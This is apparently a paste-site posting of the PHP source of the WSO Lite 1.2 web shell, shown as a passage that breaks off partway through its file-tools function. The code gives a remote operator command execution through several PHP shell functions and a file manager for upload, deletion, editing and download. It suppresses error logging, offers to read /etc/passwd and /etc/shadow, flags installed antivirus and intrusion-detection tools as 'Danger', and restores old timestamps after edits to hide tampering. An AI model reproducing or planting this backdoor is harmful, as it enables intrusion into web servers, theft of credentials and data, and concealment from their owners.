WSOLite 1.2

Submitted on 3 April 2016 at 11:14 UTC
2314 views

Section 1 (php)

<?php 
$color = "#df5"; 
$default_action = 'FilesMan'; 
$default_use_ajax = true; 
$default_charset = 'Windows-1251';  
  
@session_start(); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0); 
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define('WSO_VERSION', 'Lite 1.2'); 
  
if(get_magic_quotes_gpc()) { 
    function WSOstripslashes($array) { 
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); 
    } 
    $_POST = WSOstripslashes($_POST); 
}
  
if(strtolower(substr(PHP_OS,0,3)) == "win") 
    $os = 'win'; 
else
    $os = 'nix'; 
  
$safe_mode = @ini_get('safe_mode'); 
if(!$safe_mode) 
    error_reporting(0); 
  
$disable_functions = @ini_get('disable_functions'); 
$home_cwd = @getcwd(); 
if(isset($_POST['c'])) 
    @chdir($_POST['c']); 
$cwd = @getcwd(); 
if($os == 'win') { 
    $home_cwd = str_replace("\\", "/", $home_cwd); 
    $cwd = str_replace("\\", "/", $cwd); 
} 
if($cwd[strlen($cwd)-1] != '/' ) 
    $cwd .= '/';  
      
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'])) 
    $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax']; 
  
function wsoHeader() { 
    if(empty($_POST['charset'])) 
        $_POST['charset'] = $GLOBALS['default_charset']; 
    global $color; 
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>WSO " . WSO_VERSION ."</title> 
<style> 
body{background-color:#444;color:#e1e1e1;}  
body,td,th{font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1;}  
table.info{color:#fff;background-color:#222;}
span,h1,a{color: $color !important;}  
span{font-weight: bolder;}  
h1{border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px;}
div.content{padding: 5px;margin-left:5px;background-color:#333;}  
a{text-decoration:none;}  
a:hover{text-decoration:underline;}
.ml1{border:1px solid #444;padding:5px;margin:0;overflow: auto;}  
.bigarea{width:100%;height:300px;}
input,textarea,select{margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New';}  
form{margin:0px;}  
#toolsTbl{text-align:center;}  
.toolsInp{width: 80%;}  
.main th{text-align:left;background-color:#5e5e5e;}  
.main tr:hover{background-color:#5e5e5e}  
.main td, th{vertical-align:middle}  
.l1{background-color:#444}
pre{font-family:Courier,Monospace} 
</style> 
<script> 
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; 
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; 
    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; 
    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; 
    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; 
    var d = document; 
    function set(a,c,p1,p2,p3,charset) { 
        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; 
        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; 
        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; 
        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; 
        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; 
        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; 
    } 
    function g(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        d.mf.submit(); 
    } 
    function a(a,c,p1,p2,p3,charset) { 
        set(a,c,p1,p2,p3,charset); 
        var params = 'ajax=true'; 
        for(i=0;i<d.mf.elements.length;i++) 
            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); 
        sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); 
    } 
    function sr(url, params) { 
        if (window.XMLHttpRequest) 
            req = new XMLHttpRequest(); 
        else if (window.ActiveXObject) 
            req = new ActiveXObject('Microsoft.XMLHTTP'); 
        if (req) { 
            req.onreadystatechange = processReqChange; 
            req.open('POST', url, true); 
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); 
            req.send(params); 
        } 
    } 
    function processReqChange() { 
        if( (req.readyState == 4) ) 
            if(req.status == 200) { 
                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); 
                var arr=reg.exec(req.responseText); 
                eval(arr[2].substr(0, arr[1])); 
            } else alert('Request error!'); 
    } 
</script> 
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> 
<form method=post name=mf style='display:none;'> 
<input type=hidden name=a> 
<input type=hidden name=c> 
<input type=hidden name=p1> 
<input type=hidden name=p2> 
<input type=hidden name=p3> 
<input type=hidden name=charset> 
</form>"; 
    $freeSpace = @diskfreespace($GLOBALS['cwd']); 
    $totalSpace = @disk_total_space($GLOBALS['cwd']); 
    $totalSpace = $totalSpace?$totalSpace:1; 
    $release = @php_uname('r'); 
    $kernel = @php_uname('s'); 
    if(!function_exists('posix_getegid')) { 
        $user = @get_current_user(); 
        $uid = @getmyuid(); 
        $gid = @getmygid(); 
        $group = "?"; 
    } else { 
        $uid = @posix_getpwuid(posix_geteuid()); 
        $gid = @posix_getgrgid(posix_getegid()); 
        $user = $uid['name']; 
        $uid = $uid['uid']; 
        $group = $gid['name']; 
        $gid = $gid['gid']; 
    } 
  
    $cwd_links = ''; 
    $path = explode("/", $GLOBALS['cwd']); 
    $n=count($path); 
    for($i=0; $i<$n-1; $i++) { 
        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; 
        for($j=0; $j<=$i; $j++) 
            $cwd_links .= $path[$j].'/'; 
        $cwd_links .= "\")'>".$path[$i]."/</a>"; 
    } 
  
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); 
    $opt_charsets = ''; 
    foreach($charsets as $item) 
        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; 
  
    $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','Network'=>'Network'); 
    $menu = ''; 
    foreach($m as $k => $v) 
        $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>'; 
  
    $drives = ""; 
    if($GLOBALS['os'] == 'win') { 
        foreach(range('c','z') as $drive) 
        if(is_dir($drive.':\\')) 
            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; 
    } 
    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') 
       . '<span> Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; 
} 
  
function wsoFooter() { 
    $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; 
    echo " 
</div> 
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'> 
    <tr> 
        <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> 
        <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> 
    </tr><tr> 
        <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> 
        <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> 
    </tr><tr> 
        <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> 
        <td><form method='post' ENCTYPE='multipart/form-data'> 
        <input type=hidden name=a value='FilesMAn'> 
        <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> 
        <input type=hidden name=p1 value='uploadFile'> 
        <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> 
        <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td> 
  
    </tr></table></div></body></html>"; 
} 
  
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { 
    function posix_getpwuid($p) {return false;} } 
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { 
    function posix_getgrgid($p) {return false;} } 
  
function wsoEx($in) { 
    $out = ''; 
    if (function_exists('exec')) { 
        @exec($in,$out); 
        $out = @join("\n",$out); 
    } elseif (function_exists('passthru')) { 
        ob_start(); 
        @passthru($in); 
        $out = ob_get_clean(); 
    } elseif (function_exists('system')) { 
        ob_start(); 
        @system($in); 
        $out = ob_get_clean(); 
    } elseif (function_exists('shell_exec')) { 
        $out = shell_exec($in); 
    } elseif (is_resource($f = @popen($in,"r"))) { 
        $out = ""; 
        while(!@feof($f)) 
            $out .= fread($f,1024); 
        pclose($f); 
    } 
    return $out; 
} 
function wsoViewSize($s) { 
    if($s >= 1073741824) 
        return sprintf('%1.2f', $s / 1073741824 ). ' GB'; 
    elseif($s >= 1048576) 
        return sprintf('%1.2f', $s / 1048576 ) . ' MB'; 
    elseif($s >= 1024) 
        return sprintf('%1.2f', $s / 1024 ) . ' KB'; 
    else
        return $s . ' B'; 
} 
  
function wsoPerms($p) { 
    if (($p & 0xC000) == 0xC000)$i = 's'; 
    elseif (($p & 0xA000) == 0xA000)$i = 'l'; 
    elseif (($p & 0x8000) == 0x8000)$i = '-'; 
    elseif (($p & 0x6000) == 0x6000)$i = 'b'; 
    elseif (($p & 0x4000) == 0x4000)$i = 'd'; 
    elseif (($p & 0x2000) == 0x2000)$i = 'c'; 
    elseif (($p & 0x1000) == 0x1000)$i = 'p'; 
    else $i = 'u'; 
    $i .= (($p & 0x0100) ? 'r' : '-'); 
    $i .= (($p & 0x0080) ? 'w' : '-'); 
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); 
    $i .= (($p & 0x0020) ? 'r' : '-'); 
    $i .= (($p & 0x0010) ? 'w' : '-'); 
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); 
    $i .= (($p & 0x0004) ? 'r' : '-'); 
    $i .= (($p & 0x0002) ? 'w' : '-'); 
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); 
    return $i; 
} 
  
function wsoPermsColor($f) { 
    if (!@is_readable($f)) 
        return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; 
    elseif (!@is_writable($f)) 
        return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; 
    else
        return '<font color=green>' . wsoPerms(@fileperms($f)) . '</font>'; 
} 
  
if(!function_exists("scandir")) { 
    function scandir($dir) { 
        $dh  = opendir($dir); 
        while (false !== ($filename = readdir($dh))) 
            $files[] = $filename; 
        return $files; 
    } 
} 
  
function wsoWhich($p) { 
    $path = wsoEx('which ' . $p); 
    if(!empty($path)) 
        return $path; 
    return false; 
} 
  
function actionSecInfo() { 
    wsoHeader(); 
    echo '<h1>Server security information</h1><div class=content>'; 
    function wsoSecParam($n, $v) { 
        $v = trim($v); 
        if($v) { 
            echo '<span>' . $n . ': </span>'; 
            if(strpos($v, "\n") === false) 
                echo $v . '<br>'; 
            else
                echo '<pre class=ml1>' . $v . '</pre>'; 
        } 
    } 
  
    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); 
    if(function_exists('apache_get_modules')) 
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); 
    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); 
    wsoSecParam('Open base dir', @ini_get('open_basedir')); 
    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); 
    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); 
    wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); 
    $temp=array(); 
    if(function_exists('mysql_get_client_info')) 
        $temp[] = "MySql (".mysql_get_client_info().")"; 
    if(function_exists('mssql_connect')) 
        $temp[] = "MSSQL"; 
    if(function_exists('pg_connect')) 
        $temp[] = "PostgreSQL"; 
    if(function_exists('oci_connect')) 
        $temp[] = "Oracle"; 
    wsoSecParam('Supported databases', implode(', ', $temp)); 
    echo '<br>'; 
  
    if($GLOBALS['os'] == 'nix') { 
        wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); 
        wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no'); 
        wsoSecParam('OS version', @file_get_contents('/proc/version')); 
        wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); 
        if(!$GLOBALS['safe_mode']) { 
            $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); 
            $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); 
            $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); 
            echo '<br>'; 
            $temp=array(); 
            foreach ($userful as $item) 
                if(wsoWhich($item)) 
                    $temp[] = $item; 
            wsoSecParam('Userful', implode(', ',$temp)); 
            $temp=array(); 
            foreach ($danger as $item) 
                if(wsoWhich($item)) 
                    $temp[] = $item; 
            wsoSecParam('Danger', implode(', ',$temp)); 
            $temp=array(); 
            foreach ($downloaders as $item) 
                if(wsoWhich($item)) 
                    $temp[] = $item; 
            wsoSecParam('Downloaders', implode(', ',$temp)); 
            echo '<br/>'; 
            wsoSecParam('HDD space', wsoEx('df -h')); 
            wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); 
        } 
    } else { 
        wsoSecParam('OS Version',wsoEx('ver')); 
        wsoSecParam('Account Settings',wsoEx('net accounts')); 
        wsoSecParam('User Accounts',wsoEx('net user')); 
    } 
    echo '</div>'; 
    wsoFooter(); 
} 
  
function actionFilesMan() { 
    wsoHeader(); 
    echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; 
    if(!empty($_POST['p1'])) { 
        switch($_POST['p1']) { 
            case 'uploadFile': 
                if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) 
                    echo "Can't upload file!"; 
                break; 
            case 'mkdir': 
                if(!@mkdir($_POST['p2'])) 
                    echo "Can't create new dir"; 
                break; 
            case 'delete': 
                function deleteDir($path) { 
                    $path = (substr($path,-1)=='/') ? $path:$path.'/'; 
                    $dh  = opendir($path); 
                    while ( ($item = readdir($dh) ) !== false) { 
                        $item = $path.$item; 
                        if ( (basename($item) == "..") || (basename($item) == ".") ) 
                            continue; 
                        $type = filetype($item); 
                        if ($type == "dir") 
                            deleteDir($item); 
                        else
                            @unlink($item); 
                    } 
                    closedir($dh); 
                    @rmdir($path); 
                } 
                if(is_array(@$_POST['f'])) 
                    foreach($_POST['f'] as $f) { 
                        if($f == '..') 
                            continue; 
                        $f = urldecode($f); 
                        if(is_dir($f)) 
                            deleteDir($f); 
                        else
                            @unlink($f); 
                    } 
                break; 
            case 'paste': 
                if($_SESSION['act'] == 'copy') { 
                    function copy_paste($c,$s,$d){ 
                        if(is_dir($c.$s)){ 
                            mkdir($d.$s); 
                            $h = @opendir($c.$s); 
                            while (($f = @readdir($h)) !== false) 
                                if (($f != ".") and ($f != "..")) 
                                    copy_paste($c.$s.'/',$f, $d.$s.'/'); 
                        } elseif(is_file($c.$s)) 
                            @copy($c.$s, $d.$s); 
                    } 
                    foreach($_SESSION['f'] as $f) 
                        copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']); 
                } elseif($_SESSION['act'] == 'move') { 
                    function move_paste($c,$s,$d){ 
                        if(is_dir($c.$s)){ 
                            mkdir($d.$s); 
                            $h = @opendir($c.$s); 
                            while (($f = @readdir($h)) !== false) 
                                if (($f != ".") and ($f != "..")) 
                                    copy_paste($c.$s.'/',$f, $d.$s.'/'); 
                        } elseif(@is_file($c.$s)) 
                            @copy($c.$s, $d.$s); 
                    } 
                    foreach($_SESSION['f'] as $f) 
                        @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f); 
                } elseif($_SESSION['act'] == 'zip') { 
                    if(class_exists('ZipArchive')) { 
                        $zip = new ZipArchive(); 
                        if ($zip->open($_POST['p2'], 1)) { 
                            chdir($_SESSION['c']); 
                            foreach($_SESSION['f'] as $f) { 
                                if($f == '..') 
                                    continue; 
                                if(@is_file($_SESSION['c'].$f)) 
                                    $zip->addFile($_SESSION['c'].$f, $f); 
                                elseif(@is_dir($_SESSION['c'].$f)) { 
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); 
                                    foreach ($iterator as $key=>$value) { 
                                        $zip->addFile(realpath($key), $key); 
                                    } 
                                } 
                            } 
                            chdir($GLOBALS['cwd']); 
                            $zip->close(); 
                        } 
                    } 
                } elseif($_SESSION['act'] == 'unzip') { 
                    if(class_exists('ZipArchive')) { 
                        $zip = new ZipArchive(); 
                        foreach($_SESSION['f'] as $f) { 
                            if($zip->open($_SESSION['c'].$f)) { 
                                $zip->extractTo($GLOBALS['cwd']); 
                                $zip->close(); 
                            } 
                        } 
                    } 
                } elseif($_SESSION['act'] == 'tar') { 
                    chdir($_SESSION['c']); 
                    $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']); 
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f'])); 
                    chdir($GLOBALS['cwd']); 
                } 
                unset($_SESSION['f']); 
                break; 
            default: 
                if(!empty($_POST['p1'])) { 
                    $_SESSION['act'] = @$_POST['p1']; 
                    $_SESSION['f'] = @$_POST['f']; 
                    foreach($_SESSION['f'] as $k => $f) 
                        $_SESSION['f'][$k] = urldecode($f); 
                    $_SESSION['c'] = @$_POST['c']; 
                } 
                break; 
        } 
    } 
    $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); 
    if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } 
    global $sort; 
    $sort = array('name', 1); 
    if(!empty($_POST['p1'])) { 
        if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) 
            $sort = array($match[1], (int)$match[2]); 
    } 
echo "<script> 
    function sa() { 
        for(i=0;i<d.files.elements.length;i++) 
            if(d.files.elements[i].type == 'checkbox') 
                d.files.elements[i].checked = d.files.elements[0].checked; 
    } 
  
</script> 
<table width='100%' class='main' cellspacing='0' cellpadding='2'> 
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; 
    $dirs = $files = array(); 
    $n = count($dirContent); 
    for($i=0;$i<$n;$i++) { 
        $ow = @posix_getpwuid(@fileowner($dirContent[$i])); 
        $gr = @posix_getgrgid(@filegroup($dirContent[$i])); 
        $tmp = array('name' => $dirContent[$i], 
                     'path' => $GLOBALS['cwd'].$dirContent[$i], 
                     'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 
                     'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 
                     'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), 
                     'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), 
                     'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) 
                    ); 
        if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) 
            $files[] = array_merge($tmp, array('type' => 'file')); 
        elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) 
            $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); 
        elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) 
            $dirs[] = array_merge($tmp, array('type' => 'dir')); 
    } 
    $GLOBALS['sort'] = $sort; 
    function wsoCmp($a, $b) { 
        if($GLOBALS['sort'][0] != 'size') 
            return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); 
        else
            return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); 
    } 
    usort($files, "wsoCmp"); 
    usort($dirs, "wsoCmp"); 
    $files = array_merge($dirs, $files); 
    $l = 0; 
    foreach($files as $f) { 
        echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] 
            .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>'; 
        $l = $l?0:1; 
    } 
    echo "<tr><td colspan=7> 
  
    <input type=hidden name=a value='FilesMan'> 
    <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> 
    <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> 
    <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>"; 
    if(class_exists('ZipArchive')) 
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>"; 
    echo "<option value='tar'>Compress (tar.gz)</option>"; 
    if(!empty($_SESSION['act']) && @count($_SESSION['f'])) 
        echo "<option value='paste'>Paste / Compress</option>"; 
    echo "</select>&nbsp;"; 
    if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar'))) 
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;"; 
    echo "<input type='submit' value='>>'></td></tr></form></table></div>"; 
    wsoFooter(); 
} 

function actionFilesTools() { 
    if( isset($_POST['p1']) ) 
        $_POST['p1'] = urldecode($_POST['p1']); 
    if(@$_POST['p2']=='download') { 
        if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { 
            ob_start("ob_gzhandler", 4096); 
            header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); 
            if (function_exists("mime_content_type")) { 
                $type = @mime_content_type($_POST['p1']); 
                header("Content-Type: " . $type); 
            } else
                header("Content-Type: application/octet-stream"); 
            $fp = @fopen($_POST['p1'], "r"); 
            if($fp) { 
                while(!@feof($fp)) 
                    echo @fread($fp, 1024); 
                fclose($fp); 
            } 
        }exit; 
    } 
    if( @$_POST['p2'] == 'mkfile' ) { 
        if(!file_exists($_POST['p1'])) { 
            $fp = @fopen($_POST['p1'], 'w'); 
            if($fp) { 
                $_POST['p2'] = "edit"; 
                fclose($fp); 
            } 
        } 
    } 
    wsoHeader(); 
    echo '<h1>File tools</h1><div class=content>'; 
    if( !file_exists(@$_POST['p1']) ) { 
        echo 'File not exists'; 
        wsoFooter(); 
        return; 
    } 
    $uid = @posix_getpwuid(@fileowner($_POST['p1'])); 
    if(!$uid) { 
        $uid['name'] = @fileowner($_POST['p1']); 
        $gid['name'] = @filegroup($_POST['p1']); 
    } else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); 
    echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; 
    echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>'; 
    if( empty($_POST['p2']) ) 
        $_POST['p2'] = 'view'; 
    if( is_file($_POST['p1']) ) 
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); 
    else
        $m = array('Chmod', 'Rename', 'Touch'); 
    foreach($m as $v) 
        echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> '; 
    echo '<br><br>'; 
    switch($_POST['p2']) { 
        case 'view': 
            echo '<pre class=ml1>'; 
            $fp = @fopen($_POST['p1'], 'r'); 
            if($fp) { 
                while( !@feof($fp) ) 
                    echo htmlspecialchars(@fread($fp, 1024)); 
                @fclose($fp); 
            } 
            echo '</pre>'; 
            break; 
        case 'highlight': 
            if( @is_readable($_POST['p1']) ) { 
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; 
                $code = @highlight_file($_POST['p1'],true); 
                echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; 
            } 
            break; 
        case 'chmod': 
            if( !empty($_POST['p3']) ) { 
                $perms = 0; 
                for($i=strlen($_POST['p3'])-1;$i>=0;--$i) 
                    $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); 
                if(!@chmod($_POST['p1'], $perms)) 
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; 
            } 
            clearstatcache(); 
            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; 
            break; 
        case 'edit': 
            if( !is_writable($_POST['p1'])) { 
                echo 'File isn\'t writeable'; 
                break; 
            } 
            if( !empty($_POST['p3']) ) { 
                $time = @filemtime($_POST['p1']); 
                $_POST['p3'] = substr($_POST['p3'],1); 
                $fp = @fopen($_POST['p1'],"w"); 
                if($fp) { 
                    @fwrite($fp,$_POST['p3']); 
                    @fclose($fp); 
                    echo 'Saved!<br><script>p3_="";</script>'; 
                    @touch($_POST['p1'],$time,$time); 
                } 
            } 
